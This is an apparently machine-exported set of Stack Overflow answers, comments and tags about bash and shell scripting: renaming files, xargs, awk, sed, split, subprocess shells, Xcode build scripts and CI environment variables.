has body: You can use xargs read in 2 input from cat -n result (like enumerate in python) : find Screenshot_*.png | cat -n | xargs -n 2 sh -c "mv \$1 \$0.png" This means it will rename sequentially like 1.png, 2.png ... based on find result. result: # ls 10.png 12.png 14.png 16.png 18.png 1.png 21.png 23.png 25.png 27.png 29.png 3.png 5.png 7.png 9.png 11.png 13.png 15.png 17.png 19.png 20.png 22.png 24.png 26.png 28.png 2.png 4.png 6.png 8.png Note Sample output from find Screenshot_*.png | cat -n 1 Screenshot_1696319356.png 2 Screenshot_1696319360.png 3 Screenshot_1696319372.png 4 Screenshot_1696319374.png 5 Screenshot_1696319376.png 6 Screenshot_1696319378.png 7 Screenshot_1696319380.png 8 Screenshot_1696319382.png 9 Screenshot_1696319384.png 10 Screenshot_1696319386.png 11 Screenshot_1696319388.png ... If you want to adjust sorting condition, you can put sort command before the cat -n.
type: Answer
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/136140657

http://stackoverflow.com/comment/135930838
comment on: http://stackoverflow.com/a/77107151
has text: If using bash-only syntax (which you already are in `[[`), one might consider `read sourceSizeInBytes _ < <(du -sb source)` to avoid needing awk. Likewise, `if (( a == b ))` is just as bash-only as `if $a -eq b ` but easier to read.
type: Comment
type: AnswerComment
score: 1

http://stackoverflow.com/comment/135924489
has text: And what about ngrok ?
score: 0
comment on: http://stackoverflow.com/q/77100448
type: QuestionComment
type: Comment

http://stackoverflow.com/a/77121828
downvote count: 0
has body: With Ruby: ruby -e 'ARGV.each{|fn| puts "#{fn}|#{File.open(fn).read}"}' File{1..3}.txt Or with Bash: for fn in File{1..3}.txt; do printf "%s|%s\n" "$fn" "$(cat "$fn")" done Both print: File1.txt|This is content of File1 File2.txt|This is content of File2 File3.txt|This is content of File3 Either can be redirected to the desired file with: [Ruby or Bash] > outputfile.txt If your files names are inside a file, you can do: ruby -e '$<.read.split(/\R/).each{|fn| puts "#{fn}|#{File.open(fn).read}"}' files.txt >outputfile.txt (In Ruby, the \R is universal and will work regardless of line endings...) In Bash: while IFS= read fn; do printf "%s|%s\n" "$fn" "$(< $fn)" done <files.txt > outputfile.txt
type: Answer
score: 1
has comment: http://stackoverflow.com/comment/135957636
upvote count: 1
answers question: http://stackoverflow.com/q/77121773

append
type: Tag
tag name: append
tags question: http://stackoverflow.com/q/77124990

http://stackoverflow.com/comment/135936059
score: 0
comment on: http://stackoverflow.com/q/77107084
type: QuestionComment
type: Comment
has text: FWIK, you can't freely use UTF8 in file names on the Mac. See for instance [here](https://stackoverflow.com/questions/6153345/different-utf8-encoding-in-filenames-os-x).

http://stackoverflow.com/comment/136110365
has text: if `DOC/dir1/script.txt` contains `flie1.sql` and there is a file `dir2/file1.sql`, is that match? What if there are both `dir2/file1.sql` and `dir4/dir7/file1.sql` ?
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77204604

http://stackoverflow.com/comment/136091034
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77196656
has text: No, myScript is here: /scripts/myScript.py, but the passed argument ($dir.xml, which exists in each subdirectory) isn't found.

http://stackoverflow.com/comment/135991765
score: 2
comment on: http://stackoverflow.com/q/77141159
type: QuestionComment
has text: What is the meaning of _load that section_ in the context of bash?
type: Comment

http://stackoverflow.com/comment/135889366
score: 0
type: QuestionComment
type: Comment
has text: And no, `-name '*/DirName/'` is not correct -- `-name` only checks the current component's name, the _last_ part of the path; `/`s don't make sense in it. The equivalent that checks full paths is `-path`, but using that won't fix your efficiency problems.
comment on: http://stackoverflow.com/q/77083171

http://stackoverflow.com/comment/136002919
comment on: http://stackoverflow.com/a/77147299
type: Comment
type: AnswerComment
has text: My macOS default shell is zsh, but I have env set up to use bash in shell scripts. `#!/usr/bin/env bash`
score: 0

http://stackoverflow.com/a/77201978
score: 3
type: AcceptedAnswer
upvote count: 3
has body: Your function body cannot be empty: HELLO() { echo "hello!" } This will work
answers question: http://stackoverflow.com/q/77201945
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/77201945
has comment: http://stackoverflow.com/comment/136100128

http://stackoverflow.com/comment/136127093
type: QuestionComment
type: Comment
has text: `sched_setaffinity()` returning EPERM suggests that it's called on a process of a different user, which I don't think should happen here.
comment on: http://stackoverflow.com/q/77216250
score: 0

http://stackoverflow.com/comment/136139268
has text: I totally get you. Thank you for suggesting and pointing it out in my answer. I have edited my script and I have it can be reused.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77219653
score: 1

http://stackoverflow.com/q/77132645
type: Question
tagged with: shell
duplicate of: http://stackoverflow.com/q/76590131
downvote count: 0
has body: My project won't build on Xcode 15. This is happening both locally on my machine and on Xcode Cloud. I've got a Build Phase script that I use to write my app secrets to the disk after fetching them from the CI. Here's my script: target_file="./MyProject/SupportingFiles/Secrets.json" if | $CONFIGURATION == "Release Development" ; then cp "./MyProject/SupportingFiles/SecretsDev.json" "$target_file" echo "Wrote Dev secrets." elif | $CONFIGURATION == "Release Production" ; then cp "./MyProject/SupportingFiles/SecretsProd.json" "$target_file" echo "Wrote Prod secrets." fi But when I build my project, I see this error in the build logs: cp: ./MyProject/SupportingFiles/SecretsDev.json: Operation not permitted Wrote Dev secrets. It looks like that for some reason, Xcode 15 now enforces some kind of disk access restriction. What can I do to make this script work in Xcode 15 in a way that will work both on my machine and also on Xcode Cloud? Thank you in advance.
has answer: http://stackoverflow.com/a/77143319
favorite count: 0
accepted answer: http://stackoverflow.com/a/77143319
upvote count: 8
tagged with: xcode
has title: Xcode 15: cp - Operation not permitted
type: AnsweredQuestion
score: 8
answer count: 1
linked to: http://stackoverflow.com/q/76590131

http://stackoverflow.com/comment/136150285
score: 0
type: Comment
has text: OK. to be clear, the original error was answered as mentioned above. Mads has given some sample,guidance related to `-k`. You can also add the verbose and debug flags to get even more insight. Also, cURL would have listed a URL in its error response (https://curl.haxx.se/docs/sslcerts.html) as referencd as "visit the web page mentioned above" to help you. Use caution if You have used self signed certs and SSL on the administrative ports to MarkLogic. With this, You may find yourself with a browser that also does not want to connect by default - thus making administration a challenge.
type: AnswerComment
comment on: http://stackoverflow.com/a/77229144

http://stackoverflow.com/comment/136080043
type: QuestionComment
has text: 1) I had removed my commented file header which through off the error info. Line #6 above would be the relevant line. 2) The VALUE=\'$KEYIN was erroneously used because I did not realize it is limited to the printf statement. I blindly used it but chrslg's comment below explains why it should not have been used. In a printf it some how returns a decimal - don't ask me how, I have never seen it used before.
comment on: http://stackoverflow.com/q/77171543
type: Comment
score: 0

http://stackoverflow.com/comment/136165852
comment on: http://stackoverflow.com/a/77235822
type: Comment
type: AnswerComment
score: 0
has text: Cheers @pmf! That's really made the difference. The only issue I have now is trying to convert the date (they're actually stored in iso8601. `(.awardDate | fromdateiso8601 | strflocaltime("%Y-%m-%d"))` is now resulting in `strptime/1 requires string inputs and arguments` Haven't had an issue with the conversion until now

apache-kafka
tag name: apache-kafka
type: Tag
tags question: http://stackoverflow.com/q/77209109
tags question: http://stackoverflow.com/q/78107930
tags question: http://stackoverflow.com/q/78771380

http://stackoverflow.com/a/77122648
has comment: http://stackoverflow.com/comment/135958019
upvote count: 1
has comment: http://stackoverflow.com/comment/135958009
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/77122565
type: Answer
has body: Instead of using shell=True to spawn a sh shell in the background, you can manually spawn a subprocess of your preferred shell: my_shell = "/usr/bin/bash" # or fetch from os.environ["SHELL"] subprocess.run([my_shell, "-ic", "<your shell command(s)>"]) The -i flag being passed to bash is particularly important. This tells bash to start as an interactive shell, which is required in order for ~/.bashrc to be read. Note that manually spawning a shell process in this way is more-or-less exactly what passing shell=True does in the background. When you start a subprocess as subprocess.run("blah", shell=True) what "really" happens is essentially the same as writing subprocess.run(["/bin/sh", "-c" "blah"])

http://stackoverflow.com/comment/136171633
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77230785
has text: I agree with you. The only difference is src_txt, but the truth is the values in .js are not updated with values from D2:D4. I made some changes in 1st codes that I replace #s in Array by range("E2").... for example, and it looks it works. Anyway, appreciate your inputs and efforts. You help me a lot
score: 0

http://stackoverflow.com/comment/136043150
has text: Thanks, though without more context we still have to guess which CWL you are talking about; there are many Google hits for these three letters. I guess if you want to have your function interpolated you will need to backslash all the other dollar signs. That's an unfortunate design decision from the CWL project but nothing we can do very much about.
score: 0
comment on: http://stackoverflow.com/a/77166393
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135947271
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77115001
has text: @Kaz But isn't there a shell process which handles line discipline? And isn't that process that sends signal and not tty itself?

http://stackoverflow.com/comment/136019385
has text: Use quotes: `echo "$top_output"`. Better yet, use `printf` instead of `echo`: `printf '%s\n' "$top_output"`.
comment on: http://stackoverflow.com/q/77156632
type: QuestionComment
score: 2
type: Comment

http://stackoverflow.com/comment/136110467
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77204604
has text: @jhnc Sorry, yes is a typo. `./file1.sql` match `file1.sql`

http://stackoverflow.com/a/77158108
has body: The split utility differs if you're using a BSD-based Unix (e.g., macOS) or the GNU tools version on Linux. You can quickly tell them apart by running split --help; the option is only supported by GNU's split and will throw an error otherwise. Neither version supports the kind of naming scheme you want, they will always generate a "sequence" marker using letters (e.g., aaa, aab, aac, etc.), and this will be included regardless of your prefix or suffix. And in the CSV File I've a header and trailer as well and in the files which we split need to persist the header and in the trailer the count needs to be updated Both versions support a -b 5m switch for chunking the file into separate 5-megabyte files, but they do this irrespective of line endings. If you want to preserve whole lines, you'll have to split them accordingly with the line_count. If you have header and footer lines that you want to include, split does not support that kind of action. Simply put, that's not what it's for. For an approximate per-file size with your CSV lines preserved, and as well a fixed header and a variable footer, you'll need to use a more comprehensive script to parse and distribute the files the way you want them to look. Bash is not the most efficient way to do this, but if you have a "guesstimate" for the average line length, you can make a rough calculation and aim for a fixed CSV lines per file instead of a raw bytesize number. As an example: if your average line length is about 140 ascii characters, then 1024 bytes x 1024 x 5 = 5 megabytes 5 megabytes / 140 chars per line ≈ 37500 lines per file With a target line length, you should then "preprocess" your target CSV file to clip the header line, and the footer line. Then split the result, and finally post-process each file into one named as you actually need. Here's an example, based on a single-line header row and a multiple-line trailing footer, this script will chunk a CSV with avg. 140-char line lengths into 1mb files (adjust …
answers question: http://stackoverflow.com/q/77156311
type: Answer
downvote count: 1
has comment: http://stackoverflow.com/comment/136040144
score: 0
has comment: http://stackoverflow.com/comment/136059756
upvote count: 1

http://stackoverflow.com/a/77174155
score: 1
answers question: http://stackoverflow.com/q/77171543
type: Answer
has body: That '$KEYIN is a printf thing indeed, not a bash thing. So you can't expect '$KEYIN to become a decimal representation of an ASCII code by itself (or when storing it in VALUE). That is only when passing 'somechar string to printf that printf will interpret it that way if it matches a %d (to mimic what would happen in C if you were printf("%d", 'somechar')) But you don't really need that. You don't really need the decimal representation of KEYIN to check if it is an escape. Just do it like you do with other char while :; do # --- Infinite loop --- read -rs -n1 -t.001 KEYIN # read 1 chr, no echo, no delay if [[ $KEYIN == [Qq] ]]; then exit; fi if [[ $KEYIN == ^[ ]]; then printf "ESC\n"; exit; fi if $KEYIN != "" ; then printf "%s : %d\n" "$KEYIN" "$VALUE"; fi done ^[ here being not a ^ followed by a [, but an actual escape. With classical vim binding, you can input an escape by typing Ctrl+V first, then the escape key. If your editor makes it difficult to insert an escape in the code, you can also use octal escaping while :; do # --- Infinite loop --- read -rs -n1 -t.001 KEYIN # read 1 chr, no echo, no delay if [[ $KEYIN == [Qq] ]]; then exit; fi if $KEYIN == $'\033' ; then printf "ESC\n"; exit; fi if $KEYIN != "" ; then printf "%s : %d\n" "$KEYIN" "$VALUE"; fi done ($'xxx' is C-escape. That means that the string behaves like a string in C-langague. So \octal is replaced by character of that octal ascii code. ESCAPE is character 27, so \033 in octal escaping. So $KEYIN == $'\033' is just the same thing as $KEYIN == ^[ Point is: no need to convert the content of KEYIN into a decimal code using a subcommand. If you want to compare KEYIN to Escape, just do it directly with ==. All that it takes is to know how to say "ESCAPE" :D
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/136049057
comment on: http://stackoverflow.com/a/77171386
has text: why we are subtracting its length plus 11 from size? @renaud
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/136105118
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77204152
has text: BTW, `set -x` (aka `shopt -s xtrace`) is a good place to start to run things down.
score: 0

http://stackoverflow.com/comment/136136520
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77216250
has text: @JonSG I tried to run it with sudo, this is the error I got: `["/home/user/Desktop/PythonFiles2/venv/bin/python3.10: can\'t open file \'/home/user/Desktop/Testfile.pcap\': [Errno 13] Permission denied\n"]` This is the command I came up with: `#var exit_code = OS.execute("sudo", [python_interpreter, python_script_path] + arguments, output_vimu, true)` Isn't there another option to do this, without running sudo? Cause I'm not sure if it would work on other devices. @wRAR How can this be resolved?

ibm-mq
tags question: http://stackoverflow.com/q/77082012
tag name: ibm-mq
type: Tag

http://stackoverflow.com/comment/136109788
comment on: http://stackoverflow.com/a/77205722
type: Comment
type: AnswerComment
has text: @jhnc. I've corrected my question. "As a result, I need to find all previously found names with the ending .sql in the current directory and all subdirectories(recursive searching), writing all paths these files in the file sql_scripts.txt."
score: 0

http://stackoverflow.com/comment/136038150
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77166714
has text: (Similarly, `<&3` is short for `0<&3`, so if you looked at the FD table for both `grep`s, you'd see FD 3 copied to FD 0 for those processes).
score: 0

http://stackoverflow.com/a/77178663
type: Answer
answers question: http://stackoverflow.com/q/77178372
accepted answer of: http://stackoverflow.com/q/77178372
type: AcceptedAnswer
has body: You may need to set Github Action secret first. (Github > Settings > Security > Secrets and variables > Actions) After that, you can retrieve them by specifying ${{ secrets.<your_secret_name> }} So, in the Setup step, maybe can do something like this: - name: Setup env: name: ${{ vars.USERNAME }} shell: bash run: | echo "env.name: ${{ env.name }}" echo "whoami: $(whoami)" echo ${{ secrets.creds }} | leetcode user -c
score: 0

http://stackoverflow.com/comment/135932276
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77106862
score: 2
has text: `for var in \`cat ...\`` is [bad practice](https://porkmail.org/era/unix/award) for several reasons, like [DontReadLinesWithFor](https://mywiki.wooledge.org/DontReadLinesWithFor). You might also consider [Moving the loop into Ansible itself](https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_loops.html). In the very least, make sure `rangeip.txt` is where `/scripts/bloq.sh` is executing, preferably specified with a full path.

http://stackoverflow.com/comment/136017858
type: QuestionComment
type: Comment
has text: Ah, now I see the single quote. Still, I recommend to use single quotes for the `echo` and put a backslash in front of the single quote which is inside json. Also, as Shawn pointed out, have a look at the file with a hex editor: Do the quotes inside the text really have the correct ASCII code?
score: 0
comment on: http://stackoverflow.com/q/77155640

http://stackoverflow.com/comment/136028605
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/77161643
type: Comment
has text: could also be worth setting `nullglob` so getting `*/` as value of `d` is not ambiguous

http://stackoverflow.com/comment/136103133
type: QuestionComment
has text: (Shell **libraries** should have extensions, just as Python libraries, JavaScript libraries, Ruby libraries, etc do; but executables start their own interpreter, so they don't need an extension to indicate which interpreters they're compatible with).
type: Comment
comment on: http://stackoverflow.com/q/77203420
score: 0

http://stackoverflow.com/comment/136105315
type: QuestionComment
has text: The exit status of `find` is not dependent on whether it finds any matches. It returns a non-zero status if it gets an error, e.g. the starting directory doesn't exist or it runs into permission problems.
score: 2
comment on: http://stackoverflow.com/q/77204604
type: Comment

http://stackoverflow.com/comment/135957926
has text: Some related background: [Difference between Login Shell and Non-Login Shell?](https://unix.stackexchange.com/q/38175/564341) and [What's the difference between .bashrc, .bash_profile, and .environment?](https://stackoverflow.com/q/415403/11082165). `.bashrc` is for interactive, non-login shells. If you want to use that alias in non-interactive shells, it probably belongs in a different file.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77122565
score: 1

http://stackoverflow.com/comment/137292062
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77143319
has text: I did not know this was even an option. At least did not know about it before Xcode 15. Thank you, this works.

http://stackoverflow.com/comment/135981875
type: QuestionComment
score: 2
type: Comment
comment on: http://stackoverflow.com/q/77135598
has text: Are you using LF or CRLF as line endings? `od script` will tell you

http://stackoverflow.com/a/77124930
answers question: http://stackoverflow.com/q/77124679
downvote count: 0
has body: No, Above android 12 it indicates that your app is currently using camera, mic, or location whatever your currently accessing
upvote count: 1
type: Answer
score: 1

http://stackoverflow.com/comment/135998974
has text: Have you tried reading it using `${env.build_tag}`
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/77144870

http://stackoverflow.com/comment/135889502
type: Comment
has text: "why I specify the use of find" -- but if you don't know the options, why specify _anything at all_? Better to let the people you're asking for help from suggest the appropriate tool for the job, instead of asking people to limit themselves to something that may not be the best choice.
comment on: http://stackoverflow.com/q/77083171
type: QuestionComment
score: 0

http://stackoverflow.com/comment/135889445
type: QuestionComment
type: Comment
has text: I wasn't aware of `mdfind`, which is why I specify the usage of `find`. I'll take a look at `mdfind` and report my findings. Thanks!
comment on: http://stackoverflow.com/q/77083171
score: 0

http://stackoverflow.com/comment/136072132
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77185980
has text: When assigning arrays in bash, elements need to be separated by spaces, not commas; I think you want `arr=("element1" "element2" "element3")` for the assignment. But I'm also confused about what you're trying to do with the array. From the example, it looks like you want to *add* spaces (like "element1" -> "element 1"), but that doesn't match your description.
score: 0

http://stackoverflow.com/comment/136083403
score: 1
type: QuestionComment
has text: What do you mean by `to get the records loaded`?
comment on: http://stackoverflow.com/q/77192288
type: Comment

http://stackoverflow.com/comment/136070032
has text: I thought `break 2` will help break the second loop in the code, Now i know I misinterpreted the book I'm reading.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77184696

http://stackoverflow.com/comment/136015909
has text: You can always open up *another* terminal and use `ps` and `kill` to locate and terminate them.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77154642
score: 0

http://stackoverflow.com/comment/135971251
has text: `""$line""` means `<empty string>$line<empty string>`, exactly the same as just an unquoted `$line` on it's own - don't do that, see https://mywiki.wooledge.org/Quotes.
type: QuestionComment
comment on: http://stackoverflow.com/q/77129396
type: Comment
score: 2

http://stackoverflow.com/comment/136025577
comment on: http://stackoverflow.com/a/77160081
score: 0
has text: This looks promising! I will put this to use!
type: Comment
type: AnswerComment

http://stackoverflow.com/a/77160081
type: Answer
has comment: http://stackoverflow.com/comment/136025662
has comment: http://stackoverflow.com/comment/136025577
has comment: http://stackoverflow.com/comment/136026142
answers question: http://stackoverflow.com/q/77159958
score: 0
has comment: http://stackoverflow.com/comment/136025904
has body: bash arithmetic is done inside (( .. )) and results are used by prefixing with $: $ a=1 $ b=2 $ (( c = a+b )) $ echo $(( c * b )) 6 $ However, if your array is a single line containing space-delimited coordinates as you show, you can extract the nth by just doing: $ cat >coords <<EOD 0.000000000000000.000000000000000.00000000000000 0.166666666666670.000000000000000.00000000000000 0.333333333333340.000000000000000.00000000000000 0.500000000000000.000000000000000.00000000000000 0.166666666666670.166666666666670.00000000000000 0.333333333333340.166666666666670.00000000000000 0.500000000000000.166666666666670.00000000000000 0.333333333333340.333333333333340.00000000000000 0.500000000000000.333333333333340.00000000000000 0.500000000000000.500000000000000.00000000000000 0.000000000000000.000000000000000.25000000000000 0.166666666666670.000000000000000.25000000000000 0.333333333333340.000000000000000.25000000000000 0.500000000000000.000000000000000.25000000000000 0.166666666666670.166666666666670.25000000000000 0.333333333333340.166666666666670.25000000000000 0.500000000000000.166666666666670.25000000000000 0.333333333333340.333333333333340.25000000000000 0.500000000000000.333333333333340.25000000000000 0.500000000000000.500000000000000.25000000000000 0.000000000000000.000000000000000.50000000000000 0.166666666666670.000000000000000.50000000000000 0.333333333333340.000000000000000.50000000000000 0.500000000000000.000000000000000.50000000000000 0.166666666666670.166666666666670.50000000000000 0.333333333333340.166666666666670.50000000000000 0.500000000000000.166666666666670.50000000000000 0.333333333333340.333333333333340.50000000000000 0.500000000000000.333333333333340.50000000000000 0.500000000000000.500000000000000.50000000000000 EOD $ awk '{print $n}' n=1 coords 0.000000000000000.000000000000000.00000000000000 $ awk '{print $n}' n=2 coords 0.166666666666670.000000000000000.00000000000000 $ awk '{print $n}' n=9 coords 0.500000000000000.333333333333340.00000000000000 You …
has comment: http://stackoverflow.com/comment/136025997

http://stackoverflow.com/comment/135911433
comment on: http://stackoverflow.com/q/77095520
score: 0
type: QuestionComment
has text: Oops, sorry, that was a typo! It should've been `2>&1`.
type: Comment

http://stackoverflow.com/comment/135986370
comment on: http://stackoverflow.com/q/77138083
score: 0
type: QuestionComment
type: Comment
has text: A side note on uninstalling/reinstalling the toolchain: It almost never works, so unless an expert (and you one day might be that expert) tells you that your toolchain is broken you're probably wasting your time by reinstalling the tools.

http://stackoverflow.com/a/77096427
score: 1
answers question: http://stackoverflow.com/q/77094897
has body: fgets() can read a null character, save it in its buffer and continue reading. That is not the direct problem. It is printf("%s", line); that is the issue as printing stops on the first null character in line, be it a null character read in by fgets() or the null character appended by fgets() when it was done. Instead of printf("%s", line);, print the n characters read with fwrite(line, 1, n, stdout). With fgets(), finding the number of characters read n is problematic. Alternative 1: Read a line which might contain null characters and record the number of characters read. Illustrative code (uncheck) which uses "%4096[^\n]" to read much of a line (not the '\n') and "%n" to record the number of characters read. char line[4096+1]; int len; int conversion_cnt; while (i < n && (conversion_cnt = fscanf(fp, "%4096[^\n]%n", line, &len)) != EOF) { if (conversion_cnt == 1) { fwrite(line, 1, len, stdout); } else { int ch = fgetc(fp); if (ch == EOF) { break; } assert(ch == '\n'); // Only '\n' expected here. i++; fputc(ch, stdout); } } Alternative 2: Read blocks of data with fread() and stop once the 20th '\n' found. Use memchr() or use a loop to find the '\n'. char block[4096]; size_t len; while (i < n && (len = fread(block, 1, sizeof block, fp)) > 0) { for (size_t j = 0; j < len; j++) { if (block[j] == '\n') { i++; if (i >= n) { len = j + 1; break; } } } fwrite(line, 1, len, stdout); }
downvote count: 0
upvote count: 1
type: Answer

http://stackoverflow.com/comment/135920595
comment on: http://stackoverflow.com/q/77100689
score: 0
type: QuestionComment
has text: Don't expect readers to goto external sites to understand your problem (no image links please). Copy paste/your code into the body of your question and use the `{}` tool from the Edit menu to format as `code/data/output/errMsgs`. Good luck.
type: Comment

http://stackoverflow.com/a/77095098
downvote count: 0
score: 1
has body: Your fgets-using program prints using the line printf("%s", line);. Since \0 is the string termination character in C strings, a line that starts with \0 looks like an empty string to printf, and therefore it prints nothing. The unix head command, however, can deal with all bytes that might occur in a file, including a byte with a value of 0.
answers question: http://stackoverflow.com/q/77094897
upvote count: 1
type: Answer

http://stackoverflow.com/comment/136092552
has text: How did you actually construct `$finalcommand`? I don't think you should get that error with the value you show in the question.
type: QuestionComment
comment on: http://stackoverflow.com/q/77197549
score: 2
type: Comment

http://stackoverflow.com/comment/136028589
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77161643
has text: if you just want immediate subdirectories of the current directory why not just use `for d in */` ? and if the trailing slash is a problem you can refer to `"${d%/}"` instead of `"$d"`. If you need dot paths you can set `dotglob` option
score: 0

http://stackoverflow.com/a/77100329
answers question: http://stackoverflow.com/q/77100054
has body: Use anchors: sed 's/^{{CODE}}-project$/123-project/' file Or skip the substitution if something else is matched on the line; in this case -start: sed '/-start/! s/^{{CODE}}-project/123-project/' file Or Perl with a negative lookahead: perl -lpe 's/^{{CODE}}-project(?!-start)/123-project/' file All print: 123-project {{CODE}}-project-start Btw: using cat is not necessary to feed input into sed. Better to read the file directly.
score: 0
type: Answer

http://stackoverflow.com/comment/135888318
score: 1
type: QuestionComment
type: Comment
has text: I know you asked for an explanation but anyways... Did you consider to use EFS to store the models and attach the EFS to the Lambda function? https://aws.amazon.com/blogs/compute/using-amazon-efs-for-aws-lambda-in-your-serverless-applications/. I think is an interesting approach. You would need to figure out whether it makes sense from a pricing point of view.
comment on: http://stackoverflow.com/q/77082545

http://stackoverflow.com/comment/136028985
comment on: http://stackoverflow.com/a/77161224
type: Comment
has text: @glennjackman Oh, thanks. I _am_ historic :-) I updated it.
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135958584
comment on: http://stackoverflow.com/q/77122685
has text: Please provide enough code so others can better understand or reproduce the problem.
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135889513
comment on: http://stackoverflow.com/q/77083171
score: 0
type: QuestionComment
type: Comment
has text: Personally, I'd just sort the results -- subdirectories should always come after the parent so they're easy to exclude.

http://stackoverflow.com/comment/135957682
score: 0
type: Comment
comment on: http://stackoverflow.com/a/77121813
type: AnswerComment
has text: Quenot: Thank you Gilles, it worked perfectly! I converted the file and tried the code and it worked!

http://stackoverflow.com/comment/135932278
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77084613
has text: So, your choice is good ;)

http://stackoverflow.com/comment/136039554
comment on: http://stackoverflow.com/q/77168035
score: 0
type: QuestionComment
has text: But are *`fish`* something *`shell`* compatible? I think OP could just use [tag:fish].
type: Comment

http://stackoverflow.com/comment/135893571
has text: Thank you for the further comment. I found Google and Gitlab is using it to check shell, this is convincing enough.
comment on: http://stackoverflow.com/a/77079666
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/a/77123081
type: Answer
answers question: http://stackoverflow.com/q/77122868
score: 3
has body: There is always Perl: perl -0777 -pe 's/(^\h*"text11"[\s\S]*?\h*)"text5"\h+"0"/\1"REPLACED TEXT" "1"/m' file Try it online!
upvote count: 3
downvote count: 0

http://stackoverflow.com/comment/136169153
has text: Ah, `pgrep node` must have given more than 1 process ID. Can you post the result of `ps -ef|grep -w node` ?
score: 0
comment on: http://stackoverflow.com/a/77225838
type: Comment
type: AnswerComment

sonarqube
tags question: http://stackoverflow.com/q/77234225
type: Tag
tag name: sonarqube
tags question: http://stackoverflow.com/q/78748479

http://stackoverflow.com/comment/135957976
has text: Spawning _two_ shell subprocesses seems inefficient. Is there any benefit from creating a `sh` subprocess (`shell=True`) just to start the `bash` subprocess ?
score: 1
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77122642

jsonschema
tags question: http://stackoverflow.com/q/77171901
type: Tag
tag name: jsonschema

http://stackoverflow.com/comment/135978364
type: QuestionComment
type: Comment
has text: When you say [there are no 2 input files](https://stackoverflow.com/questions/77129396/shell-or-bash-script-input-a-string-line-from-a-text-file-and-search-it-recursi?noredirect=1#comment135977693_77129396) - the file containing the list of strings to search for is 1 input file, but every file that you need the script to search in for those strings is also an input file so we need to see an example of at least one of those plus the output given those 2 (or more) input files for us to have a [mcve].
comment on: http://stackoverflow.com/q/77129396
score: 0

http://stackoverflow.com/comment/136114422
comment on: http://stackoverflow.com/a/77206617
has text: Thank you! I solved it with "". So code looks like this: curl -X POST "https://circleci.com/api/v2/project/gh/org/$repo/envvar" \ -H "Content-Type: application/json" \ -H "Circle-Token: $token" \ -d "{\"name\":\"AWS_ACCESS_KEY_ID_${env}\",\"value\":\"$NEW_ACCESS_KEY_ID\"}"
type: Comment
type: AnswerComment
score: 1

http://stackoverflow.com/comment/135882468
type: QuestionComment
type: Comment
has text: You need to run it as bash. `sh` does not have arrays. Hence execute it as `bash scr.sh`, or make it executable (`chmod +x scr.sh`) and then run it as `./scr.sh`, in which case your #! line would make sure that _bash_ is invoked.
comment on: http://stackoverflow.com/q/77075130
score: 0

http://stackoverflow.com/a/77122237
score: 3
answers question: http://stackoverflow.com/q/77122156
type: Answer
has comment: http://stackoverflow.com/comment/135964454
has body: Use this: awk '/^=/{server=$2}{sub(/%/,&quot;&quot;, $5); if ($5&gt;=80) print server, $0}' file or multi-line: awk ' /^=/{server=$2} {sub(/%/,&quot;&quot;, $5); if ($5&gt;=80) print server, $0} ' file Server-2: /data/xyz/test 100G 30G 45G 86 /opt/apps/user Server-3: /dev/env/volume 200G 51G 150G 92 /opt/apps/user/abc1 Server-4: /dev/env/flow_vol 100G 60G 41G 82 /opt/apps/user Server-4: /dev/env/flow_vol/test 200G 66G 135G 96 /opt/apps/user/
upvote count: 3
downvote count: 0

http://stackoverflow.com/comment/136078043
type: AnswerComment
score: 0
has text: Interesting. What are some uses case for message subs in a shell environment? Do you see messages appearing in your terminal? Also, I half-expected to see a `while` or `for` loop solution that would allow for *`n`* subs. Isn't that possible? Thanks for any feedback and Good Luck
comment on: http://stackoverflow.com/a/77188909
type: Comment

http://stackoverflow.com/comment/136096459
score: 0
type: Comment
type: AnswerComment
has text: It all makes sense seing the name of this option, but you've got to know it exists! Thank you, this is indeed the solution to make these scripts work
comment on: http://stackoverflow.com/a/77143319

http://stackoverflow.com/comment/136126561
type: QuestionComment
has text: The words for what you thought it said would be "first" or "last" match.
comment on: http://stackoverflow.com/q/77216118
type: Comment
score: 0

mysql
tag name: mysql
tags question: http://stackoverflow.com/q/77192288
type: Tag
tags question: http://stackoverflow.com/q/78004680
tags question: http://stackoverflow.com/q/78455876
tags question: http://stackoverflow.com/q/78685925

http://stackoverflow.com/comment/136047402
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77171157
has text: Your sample file is already not valid CSV (the last line should be `T|5||`, because in csv, every line needs to have the same number of fields. Also you splitting does not make sense. You have to split at the end of a logical CSV line, not somewhere in between.
score: 0

http://stackoverflow.com/comment/136153467
comment on: http://stackoverflow.com/a/77224596
type: Comment
type: AnswerComment
score: 0
has text: It works fine for me, and tests of conancenter are exactly doing this, so there is something else wrong in your setup you didn't tell us, like a corrupted CMake cache or something else.

http://stackoverflow.com/comment/135947753
